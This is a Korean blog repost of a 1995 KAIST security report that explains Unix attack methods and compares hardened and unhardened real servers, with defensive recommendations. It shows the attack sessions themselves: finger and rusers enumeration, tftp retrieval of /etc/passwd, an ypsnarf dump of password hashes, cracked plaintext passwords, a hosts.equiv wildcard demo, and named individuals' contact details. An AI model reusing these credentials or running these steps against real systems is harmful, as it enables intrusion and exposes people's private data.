어느덧 1994~5년 시절의 일이다.
2.1.1 Network Attack 유형
외부의 침입자는 목표 시스템의 unix shell 을 얻어내는 것을 network attack의 목적으로 한다. 일반적으로 shell을 얻기 위해 서는 공략하고자 하는 시스템에 존재하는 합법적인 사용자들의 계정과 패스워드가 필요하다. 침입자는 finger,rusers,sendmail 등을 이용해서 목표 시스템에 있는 유저들에 관한 정보 (e.g.,login name 등)를 얻는다. 이를 이용하여 합법적인 일반 사용자 ( 즉, root또는 사용자의 ID가 0이 아닌 계정)의 명의를 이용한 shell을 따내고, 이를 발판으로 하여 관리자 또는 root로 불리우는 계정을 불법적으로 사용하고자하는 것이 많이 쓰이는 방법인 것이다.
% finger @sorak
[sorak.kaist.ac.kr]
Login Name TTY Idle when where
yshan YoonSoo Hahn p0 45 Tue 17:38 skyblue.kaist.ac
kwkang Kang Ke-Won p1 2 Sun 19:36 leech.kaist.ac.k
% rusers -l cs
jkim cs.kaist.ac.:ttyp0 Dec 2 (stissks.kordic.r)
% finger -l jkim@cs
[cs.kaist.ac.kr]
Login name: jkim
In real life: kim, Jin-Hyung
Information: Professor(AI lab)
mailing: jkim@gorai.kaist.ac.kr
Room number: 2403,CS Bld
Telephone: 042)869-3517
% telnet kus 25
Trying 143.248.1.180 ...
Connected to kus.kaist.ac.kr.
Escape character is '^]'.
220-kus.kaist.ac.kr Sendmail 8.6.12H1/8.6.12 ready at Sun, 3 Dec 1995 20:48
220 ESMTP spoken here :09 +0900
expn kus
250-
250-
250-Young Kwon
250-Yongsang cho
250-DW Hong(9v<8558.)
250-Moonsang Lee
250-Park Chang min
250-Jaechul Choe
250-Huykang Kim
250-Jungseok Roh
250-
250 JoonKyung Park
이런 방법으로 알아낸 계정의 패스워드가 없거나 혹은 취약하다면(즉, 쉽게 추측 가능하다면) 침입자는 쉽게 시스템 안으로 들어올 수 있을 것이다.
또한 tftp가 제한 없이 열려 있다면 침입자는 패스워드 파일(/etc/passwd)을 손쉽게 가져와서 패스워드 없는 계정을 찾거나 패스워드 크래커로 취약한 패스워드를 찾는다. 오래된 버전의 sendmail 에는 shell을 내 주거나 임의의 명령을 실행시켜주는 약 점이 존재하기도 한다.
또 사용자의 홈 디렉토리의 .rhosts나 시스템 파일인 /etc/hosts.equiv 에 +, 혹은 + +이 포함된다면 침입자는 rsh, rlogin 을 사용해서 패스워드를 모르더라도 시스템에 들어올수 있다. X display가 열려 있어 누구 나가 그 display address에 접근을 하는 경우도 문제가 된다. 침입자는 그 display 의 사용자가 입력하는 모든 키를 가로챌 수가 있는데 그런 과정에서 패스워드를 스니 핑하게 될 확률은 매우 높다. 일반 유저가 아닌 루트의 패스워드가 스니핑 당할 수도 있으므로 특별한 주의가 요구된다.
지금까지 살펴본 것은 다른 기계들과 연관이 없는 Stand-Alone machine의 경우 였다. 그 시스템이 NFS /NIS 서버라면 새로운 약점에 노출될 수 있다. NFS 서버에서의 파일 export 에 제한이 없다면 누구나 export 된 파일 시스템에 접근 할 수 있다. 사용 자의 홈 디렉토리가 제한 없이 everyone 으로 export 된다면 침입자는 그 파일 시스템을 mount해 특정 유저의 홈에 .rhosts를 만 들고 rsh,rlogin 으로 들어올 수 있는 것이다. 그 외에도 NFS 구현 자체에 대한 심각한 버그가 발견되기도 했다. NIS 는 설계상 의 취약한 점이 많아서 공격당하기 쉽다. NIS 서버는 NIS domain name에 의해서 클라이언트를 인증한다 따라서 NIS domain name 을 추측해 낼 수 있으면 마치 클라이언트인 것처럼 위장할 수 있고 결과적으로 서버로부터 원하는 NIS map 를 받아올 수 있다. 만일 NFS/NIS 서버가 diskless client 를 부팅시키도록 셋업이 되어 있다면 NIS domain name 을 그 client 의 어드레스로 접근을 해 오는 침입자에게 알려주게 되어 매우 위험하다. NFS/NIS attack을 위해서 침입자는 다음과 같은 명령들을 사용해서 NFS serv er & client, diskless client 의 관계를 파악해 낸다.
% rpcinfo -p eve.kaist.ac.kr
program vers proto port
100000 2 tcp 111 portmapper
100004 1 tcp 667 ypserv
100069 1 udp 668 ypxfrd
100007 2 tcp 1024 ypbind
100028 1 tcp 672 ypupdated
100003 2 udp 2049 nfs
100005 1 tcp 726 mountd
100005 2 tcp 726 mountd
100026 1 udp 733 bootparam
...
NIS server 는 ypserv,ypxfrd 이 떠 있다. mountd 이 있는 것으로 보아서 eve 는 NFS server 이다. NIS client 에는 ypbind 가 떠 있다. - eve 는 NIS server인 동시에 client이다.
bootparam 은 diskless client 에 booting에 필요한 parameter 를 알려주기 위한 데몬 이다.
현재 eve 에 경우는 딸려진 diskless client 가없다.
% showmount -e eve.kaist.ac.kr
export list for eve.kaist.ac.kr:
/home cain.kaist.ac.kr,abel.kaist.ac.kr,samson.kaist.ac.kr,noah.kaist.ac.kr
/usr/mail adam.kaist.ac.kr,moses.kaist.ac.kr,maria.kaist.ac.kr,cain.kaist.ac.kr,abel.kaist.ac.kr
/u1 adam.kaist.ac.kr,moses.kaist.ac.kr,maria.kaist.ac.kr,cain.kaist.ac.kr,abel.kaist.ac.kr,picasso.kaist.ac.kr,chagall. kaist.ac.kr,davinci.kaist.ac.kr,gogh.kaist.ac.kr,manet.kaist.ac.kr,matisse.kaist.ac.kr,ceznne.kaist.ac.kr,cadent.kaist.a c.kr
/u2
adam.kaist.ac.kr,moses.kaist.ac.kr,maria.kaist.ac.kr,cain.kaist.ac.kr,abel.kaist.ac.kr,picasso.kaist.ac.kr,chagall.kais t.ac.kr,davinci.kaist.ac.kr,gogh.kaist.ac.kr,manet.kaist.ac.kr,cezanne.kaist.ac.kr,cadent.kaist.ac.kr
NFS export list 이다. 이 중 한 곳이 무너지면 다른 곳도 차례로 침입을 당하는 것이다.
공격을 당할 수 있는 NIS/NFS server & diskless client 의 관계는 다음과 같이 나타낸다.
% rpcinfo -p baram
program vers proto port
100000 2 udp 111 portmapper
100004 2 udp 666 ypserv
100069 1 udp 668 ypxfrd
100007 1 udp 673 ypbind
100009 1 udp 1023 yppasswdd
100029 1 udp 674 keyserv
100003 2 udp 2049 nfs
100005 2 tcp 723 mountd
100026 1 udp 733 bootparam
...
% showmount -e baram
export list for baram:
/home1 ara,bee,maru.kaist.ac.kr,alpha,beta,gamma,delta,epsilon
/home2 ara,bee,maru.kaist.ac.kr,alpha,beta,gamma,delta,epsilon
/home4 ara,bee,maru.kaist.ac.kr,alpha,beta,gamma,delta,epsilon,gundal.kaist.ac.kr,gurum.kaist.ac.kr
/home6 ara,bee,maru.kaist.ac.kr,alpha,beta,gamma,delta,epsilon
/var/spool/mail ara,bee,maru.kaist.ac.kr,alpha,beta,gamma,delta,epsilon
/usr ara,bee,maru.kaist.ac.kr,alpha,beta,gamma,delta,epsilon,note
/export/swap alpha,beta
/export/root/beta beta
여기에서 swap 과 root 파티션을 export 받는 alpha,beta가 diskless client 임을 알 수 있다.(alpha 는 root 파티션을 expor t 할 수 없으므로 부팅할 수 없는 상황일 것이다. 이것은 단지 컨피그레이션상의 에러이다.)
그리고 마지막으로 sniffer 등을 사용한 network monitoring attack 이 있다. 이더넷의 설계상의 치명적인 약점으로 해서 하 나의 서브넷 전체를 돌아다니는 패킷들을 한 호스트에서 모두 볼 수 있는 것이다. 결과적으로 패스워드 스니핑이 가능하다.
2.1.2 Local Attack 유형들
목표한 시스템에 들어온 침입자는 root privilege를 얻을려고 한다. 스니퍼로 루트 패스워드를 가로채는 방법이 자주 쓰이고 있 다. 이를 위해서 X key sniffer, network sniffer 둘 다 사용이 된다. 드문 경우지만 /etc/passwd 를 crack해서 루트 패스워드를 알아 낼 수도 있는 것이다. 그러나 대부분의 침입자는 루트 패스워드와는 관계없이 root privilege를 얻어낸다. 여기에는 kerne l의 약점(IFS attack, race condition 등)이 사용되거나 suid(set user id) root 프로그램들의 취약점을 이용한다. suid root 프 로그램을 실행하면 사용자의 effective uid 가 0으로 된다. 즉 루트로 명령을 실행하게 되는 것이다. 이 때 suid root program 이 자신의 의도하는 일을 해 줄 수 있는 경우가 있다면 그것이 바로 버그이다. 예를 들어서 SunOS 4.1.2 에 존재했던 rdist 버그 는 popen("/usr/lib/sendmail...) 의 popen system call 이 해커가 정한 IFS 에 의해서 popen("usr lib sendmail...) 로 해석이 되어 결과적으로는 현재 디렉토리의 usr 이 실행되게 하는 결과를 낳는다. usr 을 루트쉘을 만드는 프로그램으로 해 놓는다면 해커는 root privilege 를 얻게 된다.
IV. 전산망 보안 현황 분석
한 시스템의 security는 크게 두가지 갈래로 나뉘어진다. 첫째가 network sevcurity이다. 외부의 untrusted network과 연결이 되지 않은 시스템이라면 거론할 필요가 없는 것이지만, 점점 더 많은 컴퓨터들의 정보공유 측면에서의 네트워크의 효용성과 필요 성을 위해 INTERNET등의 public network에 연결이 되고 잇는 현실에서는 computer security 의 대부분을 차지하고 있다. 해커의 불법침입의 시작이 네트워크를 통한 것입을 생각할대 network security 만 완벽하게 구현할 수 있다면 시스템의 security에도 완 벽을 기할수 있다고 확신할수 있다 죽 system security구현의 출발점은 바로 network security 인 것이다. 그럼 어떻게 효과적으 로 network security를 구현할 수 있는가? 와부의 untrust network으로 부터의 접근을 최소화하는 것이 대전제이다. 이를 위해서 firewall을 구성하는 것이 최상의 해결책이지만 그 자체로 광범위한 주제가 되기 때문에 여기서 다룰 성질의 것은 아니다. 완벽 에 가까운 치밀한 network configuration에 기반한 이론적인 secure network systerm을 대신 생각해 볼 수 있다. 면저 불필요한 네트워크 서비스는 없애야 한다. fingerd, rusersd, tftpd, boot paramd rexd 등은 우선 막아야 할 network daemon으로 간주한다 . fingerd와 rusesd 은 시스템 사용자에 관한 점보를 공격자에게 넙겨주게 되므로 위험하다. 그 사용자가 하용하느 패스워드가 빈약하거나 아예 없다면 network security는 무너지게 된다. tfrpd는 그 daemon이 실행될 때의 provilege level에 따라 외부로 부텨의 file system에 대한 접근을 허용한다. 대부분의 운영체제에서 tftrpd는 root 로 시작이 되어라도 nobody 로 uid를 전환하 도력 구현되어있으나 shadow passwd system을 쓰지 않는다면 raw passwd file 을 외부로 유출시키는 결과를 초래한다. 단, -s(su cure) option 을 쓰는 경우는 안전하다. bootparamd는 diskless client를 부팅시키기 위한 rpc daemon인데 diskless client를 위 해 셋업이 되어 있다면 NIS domain name등의 parameter를 외부로 유출시킬 수 밖에 없다. 그리고 마치 diskless client 를 위한 것처럼 잘못 셋업되어 있을 경우도 마찬가지ㅇ. rexd 는 remote execution daemon 이며 authentication을 고려하지 않았기 때문 에 불법적 remote 수행이 가능하다. 그 외에 잘못 설정된 anonymous FTP등의 서비스도 network security를 해친다. 불필요한 서 비스를 없애고 필한 네트워크 서비스만 사용한다 하더라도 그것들을 위한 network system(daemon)자체에 hole이 있으면 안된다. 그에 관한 대표적인 예가 sendmail, mountd , NIS system ,rlogin,rsh등이다. 위와 같은 자세한 설명은 지면 관계상 생략한다. 평가되 시스템들 중 나타날때 설명하기로 한다.
두번째는 local security이다. Netwodk security를 깨고 들어온 침입자가 root privilege를 얻을 수 있는 약녑이 있는가에 관 한 쟁접이다. local security 를 위한 전제는 다음과 같다. 즉, privilege를 일반 사용자에게 줄 수 있는 프로그램과 시스템에는 hole 이 없어야 한다. 간단하게 passwd systen을 생각해 보자. Raw passwd file 을 일반 사용자가 읽을 수 있다면 root passwd 를 crack해 낼수 있 수 있는 경우가 존재한다. 만일 그렇게 root passwd가 crack이 되었다 하더라도 일반 사용자는 그것을 사용 할 수 가 없어야 한다. 그것을 위해서 /bin / su의 사용을 제한하고 remoteroot login을 막는 등의 방법을 쓴다. 다른 시스템으 로 cron을 생각해 보자. root의 crontab file 이 일반 사용자에 의해서 수정이 가능하다면 개ㅐ privilege를 내주게 된댜ㅏ. 그 래서 일반적으로 crontab file 에는 world read permission 이 없5다. X windows system의 약점으로부터 일반사용자는 root pass wd 를 sniff할수 있다. 그령우도 passwd crack에 대비하는 것과 마찬가지로 대응해야할 것이다. 그렇지만 local security를 위협 하는 가장 큰것은 suid(set user id ) root program 들에 존재하는 hole 이다. 원칙적으로 이미 알려진 ho;e 을 가진 suid root program들은 보두 patch가 되어야 한다. 그러나 실제로 르 원칙을 지키는 관리자는 찾아보기 힘들다. 그 외에도 네트워크를 통한 공격의 결과로 바로 root privilege가 침해당하는 경우도 있다. 비교 대상이 된 실제 시스템들의 예를 살펴보자.
4.1 coppplso.kotel.co.kr와 kus.kaist.ac.kr의 비교
4.1.1 대상 시스템의 개요
·copoolso.kotel.co.kr
- 한국통신 소속 기계
- Solasris 2.3
4.1.2. Network Security측면
사용자 유출 가능성
poison 2# finger @copoolso.kotel.co.kr
[copoopso.kotel.co.kr]
Login Name TTY Kdle When Where
jjpark Park console Thu 09:21
scbaek Kim pts/5 1 Thu 14:43 kus.kaist.ac.kr
poisn 3# finger @kus.kaist.ac.kr
[kus.kaist.ac.kr]
poison 6#
copoolso는 finger를 혀용하고 있으나 kus는 TCP Wrapper에 의해서 막고 있다.
poison 10$ ./rusers -1 copoolso.kotel.co.kr
jjpark copoolso.kotel.co.kr : console Nov 29 16: 21 1
scbaek copoolso.kotel.co.kr : pts/5 Nov 29 21 : 43 4 (kus.kaist.ac.kr)
poison 11# ./ruses f-1 kus.kaist.ac.kr
ruses :kus.kaist.ac.kr :Program not registered
copoolso는 rusesed 를 통해 유저의 정보를 유출시키고 있고 kus 는 서비스를 아예 하지 않고 있다.
ison 12# tfrp copoolso.kotel.co.kr
tftp> get /etc/ passwd passwd
Received 1469 bytes in 0.4 seconds
tftp>
poison 13# tftp kus.kasit. ac.kr
tftp> get/ etc/passwd passwd
Tramsfer timed out
tftp>
copoolso는 tftp를 허용하고 있다. shadow가 보호될지라도 user entry에의한 passwd추측이 가능할 수도 있다. 실제로 다음과 같은 취약한 계정들이 있다.
out.svonyx1017 : pwc : Nov 28 02 : 43 :29 Guessed oracle(in kotel) [oracle7]zfHsMILZ1ShcE
out.svonyx1017 : pwc :Nov 28 02 :43:29 Guessed esjin(in ketel) [eshin1] kxcamwZG.OgT2
out.svonyx1017 : pwc :Nov 28 02 :48:51 Guessed copoolso(in ketel) [project1] xac1fqGTTYCH
접근 가능성
poison 14# telnet copoolso.kotel.ko.kr 25
Trying 147.6.22.152...
Connected to copoolso . kotel. co. kr.
Escape character is ']'
220 copoolso .kotel.co. kr Sendmail 5.0/SMI-SVR4 ready at Thu,30 Nov 1995 16:55:04 +0900
poison 15# telnet kus.kaist.ac.kr 25
Trying 143.248.1.180...
Connected to kus.kaist.ac.kr
Escape character is ']'
220-kus.kaist.ac.kr Sendmail 8.6.12H1/8.6.12 ready at Thu,30 Nov 1995 17:03:12 +0900
220 ESMTP spoken here
copoolso 의 sendmail든 hole 을 가지고 있으며 8.6.12 버젼으로 교체되어야 한다.
poision 7# rpcinfo -p copoolso.kotel.co.kr | grep yp
100007 3 udp 32774 ypbind
100007 2 udp 32774 ypbind
100007 1 udp 32774 ypbind
100007 3 tcp 32771 ypbind
100007 2 tcp 32771 ypbind
100007 1 tcp 32771 ypbind
poision 8# ypwhich -d kotel.co.kr copoolso.kotel.do.kr
ring.kotel.co.kr
posion 9# rpcinfo -p kus.kaist.ac.kr | grep yp
poision 10#
copoolso의 NIS domain name 은 추측가능한 것인 반면 kus 는 NIS를 쓰지 않고 있다.
다음은 expoit의 실제 예이다.
poision 17# ./ypsnarf ring.kotel.co.kr kotel.co.kr passwd.byname
usenet : *:5:6: :/usr/lib/news/usenet:/bin/csh
nobody : *: 65534 :65534: : /:
jysong:M1j20qkfI3w2U :99:10:Song joo yong :/home/user/jysong:/bin/csh
ingres : * :7 :7: : /usr/ingres :/bin/csh
daemon: *:1:1: : /:
audit :*:9:9::/etc/security/audit:/bin/csh
root : BU/ybISeASOBA:0:1:Operator:/root:/bin/csh
khq:nzbuecVtwj6XM:100:10:Kim hyun kyu:/home/user/khq:/bin:/csh
sysdiag : *:0:1:01d System Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag
suvdiag:*:0:1:System Diagnostic :/usr/diag/sundiag:/usr/diag/sundiag/sundiag
jypark:PwJjcAHwOKd8w:101:10:Park Je Young:/home/user/jypark:/usr/local/bin/tcsh
ymjin:5CwlojFsISYd.:110:10:Jin,Young min:/home/user/ymjin:/bin/csh
moonh:jAGmECxtcMyDo:202:11:Huh Moon Heang:/home/user/moonh:/bin/csh
leesm:S1FI3z0LLHZJE:200:10:Lee Sang Man :/home/user/leesm:/bin/csh
jyoun:.5BiTtEP9X3JM:108:10:Youn Jin Hyoun:/home/user/jyoun:/usr/local/bin/tcsh
uucp:*:4:8: : /var/spool/uucppublic:
sync:*:1:1: :/:/bin/sync
news:*:6:6: :/usr/lib/news:/bin/csh
sys:*:2:2::/:/bin/csh
ftp:*:1:7:Anonymous FTP:/ftp:noshell
bin:*:3:3: : /bin:
poison 21# telnet copoolso.kotel.co.kr
Trying 147.6.22.152....
Connected to copoolso.kotel.co.kr.
Escape character is ']'.
UNIX(r) System V Release 4.0(copoolso)
login:Connection closed by foreign host.
posion 22# telnet kus.kaist.ac.kr
Trying 143.248.1.180...
Connected to kus.kaist.ac.kr.
Escape character is']'.
Connection closed by foreign host.
copoolso는 untrusted network로 부터 불법접근이 가능하지만 kus에는 TCP Wrapper에 의해서 차단되고 있다.
4.1.3 Local Security측면
copoolso# ls -id / tmp
drwxrwxrwx 4 root root 173 11월 30 17:11/tmp
copoolso# ls -al /bin/ps
-r-sr-xr-x 1 root sys 709 Nov 30 17:14/tmp
Solaris 2.x의 /bin/ps에는 race condition 이 존재해서 /tmp에 stick bit이 붙어 있지 않으면 root privilege를 내주게 된 다. copoolso에 hole이 존재하고 있다.
copoolso# ls -al/usr/openwin/bin/ff.core
-r-sr-sr-x 1 root bin 13436 7월 27 1994/usr/openwin/bin/ff.core
copoolso# ls -al/etc/mnttab
-rw-rw-rw- 1 root root 637 11월 28 03:21/etc/mntab
[kus:poison] ls -al/usr/openwin/bin/ff.core
-r-xr-xr-x 1 root bin 14592 jul 16 1994/usr/openwin/bin/ff.core*
[kus:poison] ls -al/etc/mntab
-rw-rw-rw- 1 root root 630 Nov 29 20:24/etc/mntab
/usr/openwin/bin/ff.cire돠 잘못된 permossion 의 /etc/mntab은 exploit당해 root privilege를 내 주게 된다. copoolso에 ho le이 존재하고 있다.
coppolso# grep CONSOLE /etc/default/ login
# If CONSOLE os set, root can only login on that device.
CONSOLE=/dev/console
[kus:poison] grep CONSOLE /etc/default/login
# If CONSOLE os set, root can only login on that device.
CONSOLE=/dev/console
remote root login 은 모두 disable되어 있다.
copoolso# ls -al/bin/su
-r-sr-xr-x 1 root sys 14036 9월 28 1993/bin/su
[kus:poison] ls -al/bin/su
-r-sr-xr-x 1 root sys 15156 Jul 16 1994/bin/su*
/bin/su에 모두 제한이 없다. root passwd를 알아낸 침입자는 바로 root provilege를 ㅇ을수 있다.
copoolso# grep rsh/etc/inetd.conf
shell stream tcp nowait root /usr/sbin/in,rshd in rshd
copoolso# grep rlogin/etc/inetd.conf
login stream tcp nowait root /usr/sbin/in.rlogind in.rlogind
[kus:poison] grep rsh/etc/inetd.conf
#shell stream tcp nowait root /usr/sbin/in.frontd in.rshd
[kus:poison] grep rlogin/etc/inetd.conf
login stream tcp nowait root /usr/sbin/in.frontd in.rlogind
copoolso에는 아무런 제한 없이 rsh,rlogin이 열려 있다. kus에 rlogin이 가능하지만 이는 TCP wrapper에의해 제한이 된다. 또 remote root login이 불가능하기 때문에 local hole이 되지는 않는다.
copoolso# pwd
/var/spool/cron/crontabs
copoolso# ls -ld.
drewxr-xr-x 2 root sys 512 10월27 1994.
copoolso# ls -al
총 18
drawxr-xr-x 2 root sys 512 10월 27 1994.
drawxr-xr-x 4 root sys 512 10월 27 1994.
-rw-r--r-- 1 root sys 190 10월 27 1994 adm
-r--r--r-- 1 root root 1063 10월 27 1994 lp
-rw-r--r-- 1 root sys 235 10월 27 1994 root
-rw-r--r-- 1 root sys 308 10월 27 1994 sys
-rw-r--r-- 1 root sys 676 10월 27 1994 sysadm
-r--r--r-- 1 root sys 215 10월 27 1994 uucp
[kus:crontabs] pwd
/var/spool/cron/crontabs
[kus:crontabs] ls -ld.
drwxr-xr-x 2 root sys 512 Oct 26 17:02./
[kus:crontabs] ls -al
total 16
drwxr-xr-x 2 root sys 512 Oct 26 17:02./
drwxr-xr-x 4 root sys 512 Oct 26 16:40../
-r-------- 1 root sys 190 Oct 26 16:40 adm
-r-------- 1 root root 1063 Oct 26 16:40 lp
-r-------- 1 root sys 406 Oct 30 16:19 root
-r-------- 1 root sys 308 Oct 26 16:40 sys
-r-------- 1 root sys 215 Oct 26 17:02 uucp
copoolso에서 root 의 crontab파일을 누구나 볼수 있다. 직접적인 hole은 아니지만 때론 여기에 당하는 경우가 많다. 이렉토 리 자체의 world search permission 까지 닫아두는 것이 일반적이다.
4.1.4. 비교결과
copoolso는 security관리가 전혀 안된 시스템 설치 직후의 모습이고, kus는 물리적인 firewall을 제외한 모든 방법이 동원되어 보호되고 있다. 무엇보다 지속적인 관리가 중요하지만 보다 근ㅂ적인것은 관리자의 security 에 관한 지식과 인식의 정도이다.
4.2 baikdu.kaist.ac.kr와 eve.kaist.ac.kr의 비교
4.2.1 대상 시스템의 개요
·baikdu.kaist.ac.kr
-과학원 전자계산소에 속해 있음
-과학원의 WWW서버(www.kaist.ac.kr),행정용 데이터베이스 운용(sysbase)
-KUS에 의해 security path $ monitoring이 이루어짐
-Sun Space 10,SunOs 4.1.2
-Stand-alone machine
-전반적 보안 수중 :아주 우수
·eve.kaist.ac.kr
-과학원 전산학과에 속해 있음
-전산학과 학생 실습용 기계
-전산학과 석박사 학생으로 구성된 조교팀에 의해 관리
-Sun Sparc 10,SunOS4.1.3
-NFS/NIS server
-전반적 보안 수준: local security patch 는 잘되어 있으나 network security가 취약한 부분이 많음
4.2.2 Network Security 측면
접근 가능성
attacker 3# telnet eve.kaist,ac.kr
Trying 143.248.171.4...
Connected to eve.kaist.ac.kr
Escape character is']'.
SunOS UNIX (eve)
login:
attacker 4# telnet baikdu.kaist.ac.kr
Trying 143.248.1.8...
Connected to baikdu.kaist.ac.kr.
Escape character is ']'.
Cinnection closed by foreign host.
attacker 5#
eve는 접근에 제한이 없다. 즉 패스워드 추축 등에 알아낸 침입자의 접근을 허락하는 것이다. 반면 baikdu는 접근이 불가능 하다. TCP wrapper라는 Acess Control 툴에 의해서 trusted hostlist에 있지 않은 외부의 호스트로부터는 접근이 불가능하다.
사용자 정보 유출 가능성
attacker 5# finger @eve.kaist.ac.kr
[eve.kaist.ac.kr]
/usr/local/etc/fingerdir/hostdata:file has not changed in 3 weeks, 1,day, 5:54:36
User Real Name What Idle TTY Host Console Location
constell Kim Kang-hoe 1 day , co cezanne
hanul han-ul 3:30 p1 cain (salmosa.kaist.ac)
jamman Park JongSoo 22:17 p0 cain (flute.kaist.ac.k)
knife Song JongChol 23:39 co chagall
maldduk Euitaik Na 1 day, co davinci
partner Chungname Hyeon 2 days p9 cain(sgs123.kaist.ac.)
pyosh Pyp Soon-hyong 21:58 co gogh
pyosh Pyp Soon-hyong 0:21 *p1 gogh (gogh:0.0)
shhong Seak Hee Fong *s0 gogh (dbserver.kaist.a)
yhnro Yoonhyung roh 3:09 p4 cain (west.kaist.ac.kr)
attacker 11# ./rusers -1 eve.kaist.ac.kr
sypark eve.kaist.ac/kr:ttyp0 Dec 2 04:28 (chagall:0.0)
scooter eve.kaist.ac/kr:ttyp1 Dec 2 06:14 (sts.kreonet.re.k)
xanadu eve.kaist.ac/kr:ttyp2 Dec 2 03:18 2:57 (eekaist.kaist.ac)
yuntan eve.kaist.ac/kr:ttyp5 Dec 2 05:25 (143.248.213.3)
pyosh eve.kaist.ac/kr:ttyp7 Dec 2 01:40 4:35 (gogh.kaist.ac.kr)
angelot eve.kaist.ac/kr:ttyp9 Dec 2 00:41 3:12 (cspc10.kaist.ac.)
sypark eve.kaist.ac/kr:ttypb Dec 1 02:13 (chagall:0.0)
yhnro eve.kaist.ac/kr:ttyq1 Nov 28 03:07 99:31 (143.248.8.15:S.0)
levis eve.kaist.ac/kr:ttyq2 Dec 1 07:27 19:31 (143.248.8.15:S.0)
aprod eve.kaist.ac/kr:ttyq3 Dec 2 02:50 11 (143.248.2.103:0)
pyosh eve.kaist.ac/kr:ttyqb Dec 2 091:40 (143.248.171.14:0)
scooter eve.kaist.ac/kr:ttyqd Dec 1 22:59 (143.248.213.3)
aprod eve.kaist.ac/kr:ttyqf Dec 2 01:12 1:01 (dal2.kaist.ac.kr)
pyosh eve.kaist.ac/kr:ttyr6 Dec 2 01:10 4:06 (143.248.171.14:0)
misty eve.kaist.ac/kr:ttyr7 Dec 1 01:54 27:11 (143.248.8.15:S.0)
levis eve.kaist.ac/kr:ttyrb Dec 1 07:28 19:31 (143.248.8.15:S.0)
sypark eve.kaist.ac/kr:ttyre Dec 1 02:13 24 (chagall:0.0)
aprod eve.kaist.ac/kr:ttyrf Dec 2 05:30 45 (dqll.kaist.ac.kr)
jhyeo eve.kaist.ac/kr:ttys2 Nov 29 22:32 55:43 (syslab.kaist.ac.)
aprod eve.kaist.ac/kr:ttys5 Dec 1 22:26 5:14 (143.248.2.103:0)
aprod eve.kaist.ac/kr:ttys7 Dec 2 01:12 1 (143.248.2.103:0)
aprod eve.kaist.ac/kr:ttys8 Dec 1 22:46 7:28 (143.248.2.103:0)
moommoom eve.kaist.ac/kr:ttysa Dec 1 20:08 (dql2.kaist.ac.kr)
jhyeo eve.kaist.ac/kr:ttyse Nov 29 04:25 8:31 (syspc1.kaist.ac.kr)
moommoom eve.kaist.ac/kr:ttysf Dec 1 20:08 1 (143.248.2.102:0)
moommoom eve.kaist.ac/kr:ttyt1 Dec 1 20:08 3 (143.248.2.102:0)
attacker 12# finger @baikdu.kaist.ac.kr
[baikdu.kaist.ac.kr]
attacker 13# ./rusers -1 baikdu.kaist.ac.kr
rusers: baikde.kaist.ac.kr :program not registed
eve는 /etc/inetd.conf에서 finger가 가능하도록 되어있으면 rusersd(remoted user daemon)도 실행시켜두고 있다. 둘 모두 사 용자에 관한 정보를 외부로 유출시케게 되어 침입자에게 패스워드 추측 등을 위한 방법으로 사용될수 있다. baikdu는 finger를 T CP wrapper에 의해 trusted host에게만 허용하고 있고 ruserd는 막아놓았다.
Simple network attack
attadker 21# tftp wvw.kaist.ac.kr
tftp> get/etc/passwd
Error code 1:File not found
tftp> quit
attadker 22# tftp baikdu.kaist.ac.kr
tftp> get/etc/passwd
transfer timed out.
tftp>
두 기계모두 tftp를 막아 놓아서 패스워드 파일을 가녀오려는 시도가 실패했다. 만일 이것을 열어 둔다면 침입자는 패스워드 파일을 가녀와소 최약한 패스춰드를 발견해 낼수 있다.
attadker 31# su bin
attadker% rsh eve.kaist.ac.kr
password:
Login indirrect
login: Connection closed.
attacker% rsh baikdu.kaist.ac.kr
Protocol error, baikdu.kaist.ac.kr closed connection
attacker%
/etc/hosts.equiv에 "+"가 포함되어 있는지 체크한것이다. wild card 인 "+"가 포함되어 있으면 root 를 제외한 모든 계정은 login name만 같다면 패스워드 없이 rlogin,rsh으로 시스템에 들어올수 있다. eve의 경우는 wild card가 없 는 것이며 baikdu는 TCP wrapper로 rsh connection을 제한하고 있는 것이다.
만약 /etc/hosts.equiv에 "+"가 포함되면 다음과 같은 공격을 당한다.
attacker 34# echo + > /etc/hosts.equiv
attadker 35# su bin
attacker% rlogin localhost
IRIX Release 5.3 IP19 attacker
Copyright 1987-1994 Silicon Graphics, Inc. All Rights Reseved.
attacker%
따라서, /etc/hosts.equiv에는 적대로 '+'가 들어가서는 안되며 제한된 수의 trrusted host만이 있어야 한다. 그러나 KUS팀은 가급적이면 /etc/hosts.equiv을 사용하지 말것을 권한다.
댓글 없음:
댓글 쓰기